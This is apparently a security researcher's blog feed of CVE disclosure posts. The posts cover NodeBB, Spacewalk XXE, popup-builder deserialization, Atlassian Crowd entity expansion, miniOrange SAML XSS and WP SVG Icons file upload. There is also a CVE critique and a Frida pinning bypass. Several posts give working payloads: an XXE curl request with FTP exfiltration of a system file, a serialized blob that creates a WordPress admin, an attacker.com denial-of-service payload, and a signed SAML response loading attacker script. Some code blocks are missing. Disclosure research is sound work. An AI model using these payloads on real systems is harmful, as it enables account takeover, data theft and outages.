Proof of Concept exploit for CVE-2020-15149 – NodeBB Arbitrary User Password Change

CVE Description
NodeBB before version 1.14.3 has a bug introduced in version 1.12.2 in the validation logic that makes it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover.

Exploit
Using Chrome Dev-Tools, its possible to execute the socket.emit function “user.changePassword” that is present on the Edit Password page, the backend will accept the password change to the TARGET_UID_HERE.

Proof of Concept

Proof of Concept exploit for CVE-2020-1693 – Spacewalk <= 2.9 XXE

CVE Description
A flaw was found in Spacewalk up to version 2.9 where it was vulnerable to XML internal entity attacks via the /rpc/api endpoint. An unauthenticated remote attacker could use this flaw to retrieve the content of certain files and trigger a denial of service, or in certain circumstances, execute arbitrary code on the Spacewalk server.

Local file read

External DTD:

XML-RPC call for final exploit

curl -X POST -sik https://victim.tld/rpc/api -H ‘Content-Type: application/xml’ –data @xxe-ftp-exfil.xml

After execution and running an FTP listener, you will see the remote DTD fetch, along with the following exfiltration of the local file.

"GET /external.dtd HTTP/1.1" 200 448 "-" "Java/1.8.0_151"

2020/02/17 00:00:00 [*] Connection Accepted from [x.x.x.x:00000]
USER: anonymous
PASS: [email protected]
/root:x:0:0:root:
/root:
/bin
2020/02/17 00:00:00 [*] Closing FTP Connection

CVE-2020-9006 – popup-builder WP Plugin SQL injection via PHP Deserialization

The Popup Builder plugin 2.2.8 through 2.6.7.6 for WordPress is vulnerable to SQL injection via PHP Deserialization on attacker-controlled data with the attachmentUrl POST variable. This allows creation of an arbitrary WordPress Administrator account, leading to possible Remote Code Execution because Administrators can run PHP code on WordPress instances.

Vulnerable code snippet:

The POST variable attachmentUrl is downloaded, and passed directly into unserialize(), and then the deserialized data is used to insert data into the DB.  By reversing the function we can create the following code to create the serialized data needed to create a wordpress admin.

Which produces the following serialized data (before being base64 encoded):

a:2:{s:10:”customData”;a:1:{s:5:”users”;a:1:{i:0;a:7:{i:0;s:8:”zeroauth”;i:1;s:34:”$P$B2R7.3rylqoX.YrEfQmcNEYVDheK1a/”;i:2;s:8:”zeroauth”;i:3;s:18:”[email protected]”;i:4;s:20:”https://zeroauth.ltd”;i:5;s:1:”0″;i:6;s:9:”Zero Auth”;}}}s:22:”customTablesColumsName”;a:1:{s:5:”users”;a:7:{i:0;a:1:{s:5:”Field”;s:10:”user_login”;}i:1;a:1:{s:5:”Field”;s:9:”user_pass”;}i:2;a:1:{s:5:”Field”;s:13:”user_nicename”;}i:4;a:1:{s:5:”Field”;s:10:”user_email”;}i:5;a:1:{s:5:”Field”;s:8:”user_url”;}i:6;a:1:{s:5:”Field”;s:11:”user_status”;}i:7;a:1:{s:5:”Field”;s:12:”display_name”;}}}}

This issue has been fixed in the 3.x branch of popup-builder. Versions 2.2.8 through 2.5.3 do not need a nonce, however 2.5.4 through 2.6.7.6 would need a valid nonce.

CVE-2019-20104 – Atlassian Crowd OpenID client vulnerable to Remote DoS via XML Entity Expansion

Atlassian Crowd is a single sign-on and user identity solution software for the web. Crowd comes with a built in OpenID client for testing OpenID integrations, by supplying the test client with a URL hosted with a malicious payload, an attacker can remotely DoS the Crowd instance by XML Entity Expansion that consumes all memory and subsequently crashes the application.

After studying the OpenID protocol and understanding what kind of XML is expected, I was able to craft the following response.

Proof of Concept XML XRDS payload:

Once hosted somewhere, invoking the following will execute the payload on the crowd instance:

curl -sik 'https://crowd.victim.tld/openidclient/login!login.action' --data 'openid_identifier=https%3A%2F%2Fattacker.com%2Fxrds.php'

Now, the server will expand entities until memory is consumed and produce output such as:

Exception in thread "AsyncFileHandlerWriter-1300109446" java.lang.OutOfMemoryError: GC overhead limit exceeded
Exception in thread "http-nio-8095-exec-7" java.lang.OutOfMemoryError: GC overhead limit exceeded
Exception in thread "http-nio-8095-exec-8" Exception in thread "http-nio-8095-exec-6" java.lang.OutOfMemoryError: Java heap space
java.lang.OutOfMemoryError: Java heap space
Exception in thread "http-nio-8095-exec-4" java.lang.OutOfMemoryError: GC overhead limit exceeded

Atlassian has responded to the issue via Bug Bounty program on Bugcrowd.com/atlassian and has issued fixes.

Software has been fixed as of:

  • 3.2.11
  • 3.3.8
  • 3.4.7
  • 3.5.2
  • 3.6.2
  • 3.7.1
  • 4.0.0

CVE and CWD references:

https://jira.atlassian.com/browse/CWD-5526

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20104

Happy Hunting 😊

CVE-2020-6850 – miniOrange SAML WP Plugin before 4.8.84 is vulnerable to XSS via a specially crafted SAML XML Response

miniOrange SAML WordPress Plugin before 4.8.84 is vulnerable to a Cross Site Scripting attack via a specially crafted SAML XML Response.

This exploit works by passing a crafted SAMLResponse and RelayState variable to the wp-login page, where the plugin will take the SAML XML and process it.

This vulnerability exists in the “Destination” parameter of the <samlp:Response> element, when the Destination URL doesn’t match what the server is set to it will print out the plain message:

Destination in response doesn’t match the current URL. Destination is INJECTED_JAVASCRIPT_HERE, current URL is https://victim.com.

Vulnerable code:

if ($msgDestination !== NULL && $msgDestination !== $currentURL) {
echo sprintf('Destination in response doesn\'t match the current URL. Destination is "' .
$msgDestination . '", current URL is "' . $currentURL . '".');
exit;
}

The $msgDestination (Destination) does not get sanitized before output.

This vulnerability is tricky to execute however I’ll outline all the steps involved, first you need a valid SAML Response XML with the injected payload.

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="&#x3C;script src=https://attacker.com/script.js&#x3E;&#x3C;/script&#x3E;" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_d71a3a8e9fcc45c9e9d248ef7049393fc8f04e5f75" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
<saml:Subject>
<saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
<saml:AudienceRestriction>
<saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

However, our SAML XML needs to be signed with a x509 certificate and private key, otherwise we receive the following message:

“Error: Unable to find a certificate .

Please contact your administrator and report the following error:

Possible Cause: No signature found in SAML Response or Assertion. Please sign at least one of them.”

Using the tool overe here at: https://www.samltool.com/sign_response.php we can sign our SAML XML and get the plugin to continue to parse the XML until we hit the code that checks the Destination.

x509 cert (obtained from the sample XML):

MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==

Private Key (obtained from the miniOrange plugin)

MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAgDfKqqnyGm+l32c
P3/J6EzYcdu2fBkf6PtxQOVRSNMU2DwJYvRW0TpvLbwdlOnU6bRfM6DpFFBCTITT
aNmjkxZlVOLbppldN9Xw0Eq0T8FROgEjIUSo7fn+xCDgZ/HvJUDgPJyu5SZ31Lw4
qv4M3wSgR7PiLwjioJup7X8fducQ3jYSK5xU4cwS0zZk8vjWils5qYd7HmszjVQv
+ogDsOehMVBsMyf/pYQn5yEdTKX4GIeBTrlN0Kdhr2l/Hl6PSSwJdFhm8UxiXP+3
tzX9fpMYE2N4CD/oEu3qaxnV7pG/bzUeEePtQV24inCZMp8OdLLzE+9gj1AUF1on
7F64S6Nf7QIDAQABAoIBAQIqa9WNAFm1JqbphtfyxSwkjrlKowPIQwhqVM9hIYtG
Pe7pYu2kwihqDTVMSKikS/fQjHM2m0DJdVCH5/TKbKE3Hax8BWj+LblUjCUL0Rh0
s6YfoIbzKEXsqVUELTjg56xFak/YMXNgQSNbpXOChoz3pStAwZlRbbFMeLtZcAyd
2yY+wxXMYCmgVgtJtpztFQlC1ZfyJ1sZ00jbI+cxNKV9iIa1FKix0jF9bTCTRC+p
x7p8eJYM5SORok18oV3YbeX8KgjficpS7l1ro6Wuw+Ax4afv8hOkBky3J23e9IPn
SrMAPzhcbvlKKCE780nmjEg5gEUhOuy1Qzm7xEOvemmRAoGBDxogB+gSoF7JxvZ4
7DukQiYz/paZe6kMdHdTDve5bDdVrnAxEoGkLu1rsgM0GcL+TGVL1ILYeGm5Xtd6
SjSdzmRYzCp8v+JrnFA/kq2WwVuCFsLVTJithqMgkJc24lmlUfJWF0Lh+62T2u2S
3NzQVrQL3K+5Cag8g/T+8+5rhbSvAoGBDsb5VWgyNI7N/uDjjFkCSgt1/usPrqIt
zO5rmE8koPhGsfz4rbvMpgJIcYQtLAjW2mX+b9p5UJfZ6s62QHB8xu/zSc5Wft6l
cCSl5mcV4kF+2A0bmVApDNEr4v73II+6WWSCjaDaA/cv+b1Nb1XvJ5uyimLzO/sT
NzTxcXMJIhQjAoGBA9QGjJqKpjaBBbuS+adAwzf19DJu48b9jkR1PJUVXtZEFP0B
o4RTf0XWCAEB4wnn9quy5kLo5tU+FUmgCVF/M0OCsvaOOwIFb1F0XBU+4vL0bhqj
gVAupLOTXLPISOaansREiI7+xBLDKTsSAITFF0V6wE2XJViNRpIDUwh8Hx+nAoGB
A5WtAlTmaO2DdyLi0Db/YSrqks4+3aQl7CKiIy5/ujTAIYk2Yh6+hD7lh/QCaT4z
sIMxd7zN1QkhKd6/Q16GRlQK9oqBXQFxrISXYg77tgkhVhPH8CcL7joHpWcoV9PF
5s2FBgpRGMkr8C9Fy45TF46jfwKF8rTzcl77ewPm4Ud1AoGAIEATvYtRLodUOUWG
0x7ECrX5R46wpr+sTq2ecQPyu+sYwQf4PA6Xk3SVqbknD53iZUkgfJr4pVAebT5w
3WIWK4x7b+prjzHFoJsebzIjg+hvg/BwX4lZUEwLU1OQuib6aqxLJcvWUFCKkVvD
aOzBg6Bwv/D1CmWoQ6oFnsAxiOI=

Once our payload is fully signed with the certs, we get the following:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="pfx8f0e023b-b7eb-6ded-6042-a3eb0e1e0f2f" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="&#x3C;script src=https://attacker.com/script.js&#x3E;&#x3C;/script&#x3E;" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#pfx8f0e023b-b7eb-6ded-6042-a3eb0e1e0f2f"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>sYCblyUpPE6tshSxiYTAH7CMi5E=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>dIgBhxvpPAokEWi3E/+AuPaVsKxMFBIRW7S4Sb3ARfwRpiwLCmXsl0UAFT/8gEmF/Myd3C8Vr/7PhBpXZYs2T5npH+/Xcp3Ckco610Z26YpR0gieZgKeoM/S2HUReuOjL99CB3oidp3bENd1OEl5GK+mHujcAkZkAVeI4hMJ2+xrzqsqbPuOGfm3Y5F0hEv6T/7gBV07uoiaMPiK+VIjGUqCnm2rI5zeNhiT7l0y1lW08qFvhW5YCNB660FOHq556ZbWoowfh9hzUobiJWHMGLjZ4nQYzoO/AJafddfxhHbhXsnjHU5Ro+Q/w9stXMKyzPwcQpv4lrYSSFG7l6p72v0=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_d71a3a8e9fcc45c9e9d248ef7049393fc8f04e5f75" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
<saml:Subject>
<saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
<saml:AudienceRestriction>
<saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Now, we need to post a base64 encoded version of this SAML Response XML to victim.com with the following proof of concept code:

Analysis on CVE-2020-7241, misrepresenting a security vulnerability?

Hello there,

So recently I’ve been taking to @CVEnew on Twitter to monitor newly releasing CVEs, and something caught my eye was:

“CVE-2020-7241 The WP Database Backup plugin through 5.5 for WordPress stores downloads by default locally in the directory wp-content/uploads/db-backup/. This might allow attackers to read ZIP archives by guessing random ID numbers, guessing date string…”

Now, I do static analysis on WordPress plugins often as I find I can audit plugins really fast, as I’ve done extensive PHP development over my career. But the Github describing this vulnerability struck me as whaaaat?..

https://github.com/V1n1v131r4/Exploiting-WP-Database-Backup-WordPress-Plugin/blob/master/README.md

They make the following claim:

“This plugin stores downloads by default locally in the directory wp-content/uploads/db-backup/ with this syntax:

[Site_Title]_[Date with EPOC]_[7 characters random ID]_wpdb.zip”

So to me the first thing that I notice is the UNIX timestamp and the 7 random characters are in the filename, this is actually a huge key-space to brute force!

The key-space for a 7 random digit id with charset [a-f0-9] is 268,435,456.   Plus you need to brute the exact second the database backup happens, then for every second in a day (86400) you brute you have to multiply that by 268,435,456!  Thats assuming you know which day the backup happened.

We’re looking at the following statistics in order to recover a database backup:

Key-space: 268,435,456
Seconds in a day: 86,400
Total requests needed to brute: (268,435,456 x 86,400) = 23,192,823,398,400

So even if we had a multi-threaded brute forcer of 100 reqs/s that would take 231,928,233,984 seconds to brute force or 7,354 years.

So while the storage method isn’t the best I think its a bit of a stretch to say that this is a security vulnerability, if I came across this during a Bug Bounty program I don’t think there would be a way for me to prove any impact.  Am I wrong?  Let me on Twitter: https://twitter.com/zeroauth

EDIT: Had to adjust math, the random digit charset is actually [a-f0-9] since its a truncated MD5 of the WordPress AUTH_KEY salt.

Happy Bug Hunting 😁

Using Frida to bypass SSL cert pinning on custom certificate pinning solution.

Recently when looking at an Android mobile application for a Bug Bounty program, I came across a custom certificate pinning solution, instead of using the normal X509TrustManager, this app decided to check the certs themselves with a function.

Now normally, cert pinning is automatically bypassed for me thanks to the amazing work here:

https://github.com/NVISO-BE/MagiskTrustUserCerts and https://github.com/ViRb3/TrustMeAlready

If you don’t already have Magisk and Xposed with these two modules, you should definitely look into these! NVISO also has an amazing blog with methods for intercepting SSL.

Intercepting HTTPS Traffic from Apps on Android 7+ using Magisk & Burp

 

But for this we need to go a little further since the application developers chose to do a custom integration for testing for cert pinning.

You’ll need the following prerequisites in order to use the methods here:

  • Rooted phone with MagiskSU or other su method.
  • Frida-server installed and running on the phone. See https://frida.re/docs/android/

After checking out the contents of the source of the app (Using JADX to decompile APK), I found the following function:

Do you see where this may be going? This function is a simple boolean that will return whether or not the cert is trusted.  Thanks to Frida, we can hook this function to make it always return true, therefore bypassing the cert pinning on the custom function.

Frida Code:

Now we launch the app with Frida using the command:

# frida -U --no-pause -f com.******.*** -l frida-func-override.js

Now when the app gets to a part where it uses a backend API call, we’re now able to see requests in Burp as the cert pinning has successfully been bypassed!

Spawned `com.******.***`. Resuming main thread!
[Google Pixel XL::com.******.***]-> validateHostnamePinning Method Called: ***.************.com
Output is:
true
validateHostnamePinning Method Called: ***.************.com
Output is:
true
validateHostnamePinning Method Called: ***.************.com
Output is:
true

Cheers!

Happy Bug Hunting 😊

 

 

CVE-2019-14216 – svg-vector-icon-plugin WordPress plugin vulnerable to CSRF and Arbitrary File Upload leading to Remote Code Execution

Plugin Homepage: https://wordpress.org/plugins/svg-vector-icon-plugin/

Endpoint: /wp-admin/admin.php?page=wp-svg-icons-custom-set

WP SVG Icons allows admins to upload “Custom Icon” sets within the plugin, however it fails to stop CSRF and subsequently leads to Arbitrary File Upload vulnerability, as the .zip package that gets uploaded has no content checks so a POC or shell can be put into the zip and will be unzipped into the /wp-content/uploads/wp-svg-icons/custom-pack directory.

The following POC is the CSRF with a zip file containing “test.php” which invokes phpinfo(). If successful, RCE will be confirmed here: /wp-content/uploads/wp-svg-icons/custom-pack/test.php